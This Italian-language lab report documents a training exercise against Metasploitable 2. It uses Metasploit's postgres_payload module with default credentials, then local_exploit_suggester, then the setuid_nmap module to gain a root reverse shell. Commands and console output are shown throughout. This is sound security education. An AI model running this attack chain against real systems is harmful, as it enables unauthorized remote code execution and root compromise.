

REPORT S7/L3

Target: Metasploitable 2

Tool: Metasploit Framework (msfconsole)

Exploit PostgreSQL & Privilege Escalation

Questo report documenta l'esercizio pratico di exploitation di una vulnerabilità nel servizio PostgreSQL presente su Metasploitable 2, seguita da una privilege escalation per ottenere accesso root al sistema target, utilizzando esclusivamente strumenti disponibili in msfconsole.

1. Obiettivo dell'Esercizio

L'obiettivo dell'esercizio era duplice:

Fase 1 — Exploitation iniziale: Sfruttare il modulo `exploit/linux/postgres/postgres_payload` di Metasploit per compromettere il servizio PostgreSQL esposto su Metasploitable 2 e ottenere una sessione Meterpreter sul sistema target.

Fase 2 — Privilege Escalation: A partire dalla sessione ottenuta, scalare i privilegi da utente limitato a root utilizzando esclusivamente i moduli di `msfconsole`, verificando infine l'identità con il comando `getuid`.

2. Ambiente di Test

L'attività è stata condotta in un ambiente di laboratorio controllato:

- **Attaccante:** Kali Linux — IP 192.168.1.37
- **Target:** Metasploitable 2 — IP 192.168.1.149
- **Tool principale:** Metasploit Framework v6.4.116-dev
- **Servizio vulnerabile:** PostgreSQL (porta 5432)

3. Esecuzione Passo per Passo

3.1 — Avvio di `msfconsole` e ricerca del modulo PostgreSQL

Il primo passo è stato avviare Metasploit Framework dalla shell di Kali con il comando `msfconsole`, seguito dalla ricerca del modulo dedicato a PostgreSQL tramite `search postgres`. Questo ha restituito una lista di exploit disponibili, tra cui il modulo target `linux/postgres/postgres_payload`.

```
(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: Use the capture plugin to start multiple
authentication-capturing and poisoning services

# cowsay++
< metasploit >

      \      /
      (oo)_____)
      (_____)  /
      |_____| *

      =[ metasploit v6.4.116-dev ]
+ -- --=[ 2,623 exploits - 1,326 auxiliary - 1,710 payloads ]
+ -- --=[ 432 post - 49 encoders - 14 nops - 10 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > search postgres
```

Screenshot 1 — Avvio di `msfconsole` e comando 'search postgres'

3.2 — Selezione del modulo e configurazione

Il modulo è stato selezionato tramite `use 35`. Metasploit ha confermato la selezione mostrando il payload predefinito `linux/x86/meterpreter/reverse_tcp`, ideale per ottenere una shell interattiva con funzionalità avanzate.

```
msf > use 35
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
```

Screenshot 2 — Selezione del modulo exploit/linux/postgres/postgres_payload

3.3 — Impostazione delle opzioni RHOST e LHOST

Con `show options` sono state verificate le opzioni richieste. I parametri fondamentali sono stati impostati:

- `setrhost 192.168.1.149` — IP del target (Metasploitable 2)
- `setlhost 192.168.1.37` — IP dell'attaccante (Kali)

```
msf exploit(linux/postgres/postgres_payload) > show options
```

```
msf exploit(linux/postgres/postgres_payload) > set rhost 192.168.1.149
rhost => 192.168.1.149
msf exploit(linux/postgres/postgres_payload) > set lhost 192.168.1.37
lhost => 192.168.1.37
```

Screenshot 4 — Impostazione di RHOST e LHOST

3.4 — Esecuzione dell'exploit e sessione Meterpreter

Una volta configurate tutte le opzioni, è stato lanciato l'exploit. Il modulo ha sfruttato una vulnerabilità nelle credenziali di default di PostgreSQL su Metasploitable 2, riuscendo ad eseguire codice remoto e aprendo una sessione Meterpreter attiva sul target. L'exploit ha avuto successo e la sessione è stata registrata come **sessione 1**.

3.5 — Background della sessione e ricerca del Local Exploit Suggester

Con la sessione Meterpreter attiva, il passo successivo è stato metterla in background con `background` per poter caricare un modulo post-exploitation. È stato cercato il modulo `local_exploit_suggester` tramite `search suggerer`, uno strumento che analizza il sistema target e suggerisce exploit locali applicabili per la privilege escalation.

```
[*] Backgrounding session 1...
msf exploit(linux/postgres/postgres_payload) > search suggerer
```

Screenshot 7 — Configurazione del local_exploit_suggester con SESSION 1

3.6 — Configurazione e avvio del Local Exploit Suggester

Il modulo `post/multi/recon/local_exploit_suggester` è stato caricato tramite `use 0`. Con `show options` è emerso che richiedeva il parametro **SESSION**. È stato impostato `set session 1` per agganciarlo alla sessione Meterpreter precedentemente aperta.

```
msf post(multi/recon/local_exploit_suggester) > run
[*] 192.168.1.149 - Collecting local exploits for x86/linux...
/usr/share/metasploit-framework/lib/rex/proto/ldap.rb:13: warning: already initialized constant Net::LDAP::WhoamiOid
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/net-ldap-0.20.0/lib/net/ldap.rb:344: warning: previous definition of WhoamiOid was here
[*] 192.168.1.149 - 243 exploit checks are being tried...
[+] 192.168.1.149 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable.
[+] 192.168.1.149 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable.
[+] 192.168.1.149 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[+] 192.168.1.149 - exploit/linux/local/ptrace_sudo_token_priv_esc: The service is running, but could not be validated.
[+] 192.168.1.149 - exploit/linux/local/su_login: The target appears to be vulnerable.
[+] 192.168.1.149 - exploit/linux/persistence/autostart: The service is running, but could not be validated. Xorg is installed, possible desktop install.
[+] 192.168.1.149 - exploit/multi/persistence/cron: The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
[+] 192.168.1.149 - exploit/multi/persistence/ssh_key: The target appears to be vulnerable. Likely vulnerable
[+] 192.168.1.149 - exploit/unix/local/setuid_nmap: The target is vulnerable. /usr/bin
```

3.7 — Risultati del suggerer: vulnerabilità identificate

Eseguendo `run`, il modulo ha analizzato il sistema target e identificato diverse vulnerabilità locali sfruttabili, tra cui:

- `glibc_ld_audit_dso_load_priv_esc` — vulnerabile
- `glibc_origin_expansion_priv_esc` — vulnerabile
- `netfilter_priv_esc_ipv4` — vulnerabile
- `unix/local/setuid_nmap` — vulnerabile (nmap con SUID)

Quest'ultimo è stato selezionato come vettore di privilege escalation, in quanto nmap con il bit SUID impostato permette l'esecuzione di script Lua con privilegi root.

```
msf exploit(linux/postgres/postgres_payload) > use 0
msf post(multi/recon/local_exploit_suggester) > show options

Module options (post/multi/recon/local_exploit_suggester):

  Name                Current Setting  Required  Description
  ---                -
  SESSION              false           yes       The session to run this module on
  SHOWDESCRIPTION      false           yes       Displays a detailed description for the available exploits

View the full module info with the info, or info -d command.

msf post(multi/recon/local_exploit_suggester) > set session 1
session => 1
```

Screenshot 8 — Output del local_exploit_suggester con vulnerabilità identificate

3.8 — Selezione dell'exploit setuid_nmap

Il modulo `exploit/unix/local/setuid_nmap` è stato caricato direttamente con il percorso completo. Questo exploit sfrutta il fatto che nmap su Metasploitable 2 ha il bit SUID attivo, permettendo l'esecuzione di script con i privilegi del proprietario del file (root).

```
msf post(multi/recon/local_exploit_suggester) > use 9
[-] Invalid module index: 9
msf post(multi/recon/local_exploit_suggester) > use exploit exploit/unix/local/setuid_nmap
```

Screenshot 9 — Caricamento del modulo exploit/unix/local/setuid_nmap

3.10 — Exploit e ottenimento dei privilegi root

Con la sessione configurata, è stato lanciato l'exploit. Il modulo ha scritto uno script Lua temporaneo in `/tmp/` e lo ha eseguito tramite nmap SUID, aprendo una nuova **Command Shell session 2** con privilegi root. Il comando `whoami` ha confermato: **root**. La privilege escalation è avvenuta con successo.

```
msf exploit(unix/local/setuid_nmap) > exploit
[*] Started reverse TCP double handler on 192.168.1.37:4444
[*] Dropping lua /tmp/jSjRGHoK.nse
[*] Running /tmp/jSjRGHoK.nse with Nmap
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 6zSidi3eRUA7QduI;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "6zSidi3eRUA7QduI\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened (192.168.1.37:4444 → 192.168.1.149:45958) at 2026-05-20 09:49:59 -0400

whoami
root
```

Screenshot 11 — Exploit riuscito: shell session 2 aperta con whoami = root

4. Analisi Tecnica delle Vulnerabilità

4.1 — PostgreSQL con credenziali di default

Metasploitable 2 espone PostgreSQL con le credenziali di default `postgres:postgres`. Questo permette a un attaccante di autenticarsi e, sfruttando la funzione `COPY TO/FROM PROGRAM` o procedure stored, eseguire comandi arbitrari sul sistema operativo sottostante con i privilegi dell'utente PostgreSQL.

4.2 — Nmap con bit SUID (setuid_nmap)

La presenza del bit SUID su nmap in Metasploitable 2 è una misconfiguration classica. Il bit SUID fa sì che il binario venga eseguito con i privilegi del proprietario (root) invece che dell'utente corrente. Poiché nmap supporta l'esecuzione di script NSE (Lua), è possibile caricare uno script malevolo che apre una reverse shell con privilegi root.

5. Conclusioni

L'esercizio ha dimostrato con successo un'intera kill chain di attacco su Metasploitable 2:

1. **Accesso iniziale** tramite exploit PostgreSQL → sessione Meterpreter ottenuta
 2. **Ricognizione locale** tramite local_exploit_suggester → vulnerabilità SUID nmap identificata
 3. **Privilege Escalation** tramite setuid_nmap → shell root ottenuta
-